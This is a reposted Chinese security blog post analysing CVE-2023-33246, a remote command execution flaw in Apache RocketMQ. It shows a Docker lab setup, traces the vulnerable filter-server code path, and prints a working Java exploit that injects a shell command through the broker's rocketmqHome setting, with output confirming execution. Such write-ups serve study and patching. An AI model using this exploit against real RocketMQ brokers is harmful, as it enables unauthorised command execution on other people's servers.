【漏洞详解】CVE-2023-33246 Apache RocketMQ 远程代码执行漏洞

admin 2023年12月27日21:02:51评论20 views字数 4422阅读14分44秒阅读模式

【漏洞详解】CVE-2023-33246 Apache RocketMQ 远程代码执行漏洞



01

环境搭建




根据参考文章,可以直接使用docker搭建环境:

1docker pull apache/rocketmq:4.9.1
2docker pull apacherocketmq/rocketmq-console:2.0.0


看起来是一个RocketMQ镜像,一个控制台镜像。

根据参考文章的描述,RocketMQ主要由Name Server和两个Broker组成,实验环境中为了方便搭建,将一个Broker当成两个来用。

首先启动Name Server镜像:

1docker run -d --name namesrv -p 9876:9876 apache/rocketmq:4.9.1 sh mqnamesrv


mqnamesrv是默认目录下的一个shell脚本,负责启动Name Server服务:

1sh ${ROCKETMQ_HOME}/bin/runserver.sh org.apache.rocketmq.namesrv.NamesrvStartup $@


然后编写broker.conf文件配置Broker:

1brokerClusterName = DefaultCluster 
2brokerName = broker-a 
3brokerId = 0 
4deleteWhen = 04 
5fileReservedTime = 48 
6brokerRole = ASYNC_MASTER 
7flushDiskType = SYNC_FLUSH
8brokerIP1 = 192.168.88.129


将权限设置为Master,简单来说就是该Broker拥有读写权限,将brokerIP1设置为访问IP。再启动Broker镜像,将该配置文件映射进去:

1docker run -d -p 10911:10911 -p 10909:10909 -v /home/aluvion/桌面/rocketmq/broker.conf:/opt/rocketmq/conf/broker.conf --name broker --link namesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf


mqbroker也是默认目录下的一个shell脚本,负责启动Broker服务:

1sh ${ROCKETMQ_HOME}/bin/runbroker.sh org.apache.rocketmq.broker.BrokerStartup $@


最后启动Console控制台镜像:

1docker run -dit --name console -p 8080:8080 --link namesrv:namesrv -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=namesrv:9876 -Drocketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.0


为了测试实验环境,先整个项目来运行利用代码,需要的依赖:

1
2<dependency>
3    <groupId>org.apache.rocketmq</groupId>
4    <artifactId>rocketmq-tools</artifactId>
5    <version>5.1.3</version>
6</dependency>


仿照Github上的利用工具:

 1Properties props = new Properties();
2String ip = "192.168.88.129";
3props.setProperty("rocketmqHome""-c $@|sh . echo echo 123 > /tmp/Pwn;");
4props.setProperty("filterServerNums""1");
5DefaultMQAdminExt admin = new DefaultMQAdminExt();
6admin.setNamesrvAddr(ip + ":9876");
7admin.start();
8admin.updateBrokerConfig(ip + ":10911", props);
9admin.shutdown();
10System.out.println("攻击已结束!请稍后查看结果!");


关于命令为什么能跑,可以看这篇文章,运行后看到命令成功执行:

1[rocketmq@83633e592271 bin]$ cat /tmp/Pwn 
2123

看起来环境搭建成功了,这么看下来,好像控制台镜像没什么用。


02

漏洞分析




漏洞发生在Broker服务,找一找服务代码:

1ps -ef -ww

在运行的进程中找到服务进程:

1Djava.ext.dirs=/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.302.b08-0.el7_9.x86_64/jre/lib/ext:/home/rocketmq/rocketmq-4.9.1/bin/../lib -cp .:/home/rocketmq/rocketmq-4.9.1/bin/../conf: org.apache.rocketmq.broker.BrokerStartup

翻一下lib目录,找到可以的jar包rocketmq-broker-4.9.1.jar,弄到主机上导入IDEA中,开始分析。

根据修复补丁,可以看到主要的修改是删去了FilterServerUtil和FilterServerManager这两个类。

 1public static void callShell(String shellString, InternalLogger log) {
2Process process = null;
3try {
4    String[] cmdArray = splitShellString(shellString);
5    process = Runtime.getRuntime().exec(cmdArray);
6    process.waitFor();
7    log.info("CallShell: <{}> OK", shellString);
8
9...
10}


逻辑很简单,就是调用Runtime执行传入的系统命令。

而FilterServerManager类代码多一些,在createFilterServer函数中存在调用FilterServerUtil.callShell函数的代码:

1public void createFilterServer() {
2int more = this.brokerController.getBrokerConfig().getFilterServerNums() - this.filterServerTable.size();
3String cmd = this.buildStartCommand();
4for(int i = 0; i < more; ++i) {
5    FilterServerUtil.callShell(cmd, log);
6}
7}


命令由buildStartCommand函数构建:

1String.format("sh %s/bin/startfsrv.sh %s"this.brokerController.getBrokerConfig().getRocketmqHome(), config

将名为rocketmqHome的配置项拼接到命令模板中,因此若该配置项可控和函数调用链皆可控,就存在命令注入的风险。

继续往上寻找调用链,找到start函数:

 1public void start() {
2this.scheduledExecutorService.scheduleAtFixedRate(new Runnable() {
3    @Override
4    public void run() {
5        try {
6            FilterServerManager.this.createFilterServer();
7        } catch (Exception e) {
8            log.error("", e);
9        }
10    }
11}, 1000 * 51000 * 30, TimeUnit.MILLISECONDS);
12}


可以看到,在start函数被调用后,每隔30秒createFilterServer函数就会被自动调用,因此如果能在运行过程中修改rocketmqHome配置项,就能通过其自动调用完成命令注入。

观察Broker的启动命令,找到BrokerStartup类的main函数,可以看到其调用了BrokerController.start函数:

1if (this.filterServerManager != null) {
2this.filterServerManager.start();
3}

因此只需要修改rocketmqHome配置项就能实现命令注入,根据参考文章,客户端可以通过DefaultMQAdminExt类的updateBrokerConfig函数修改Broker的配置,其中就包括了rocketmqHome配置项。至此,漏洞利用链完成。


03

漏洞复现




如环境搭建中的漏洞测试代码。


04

参考




一文学会RocketMQ远程命令执行漏洞(CVE-2023-33246)

Apache RocketMQ CVE-2023-33246 远程代码执行漏洞

Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)漏洞分析


END
【漏洞详解】CVE-2023-33246 Apache RocketMQ 远程代码执行漏洞


文:Teings

原文链接:https://aluvion.github.io/2023/08/29/CVE-2023-33246-Apache-RocketMQ-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

版权声明:著作权归作者所有。如有侵权请联系删除


原文始发于微信公众号(开源聚合网络空间安全研究院):【漏洞详解】CVE-2023-33246 Apache RocketMQ 远程代码执行漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月27日21:02:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞详解】CVE-2023-33246 Apache RocketMQ 远程代码执行漏洞https://cn-sec.com/archives/2340100.html

发表评论

匿名网友 填写信息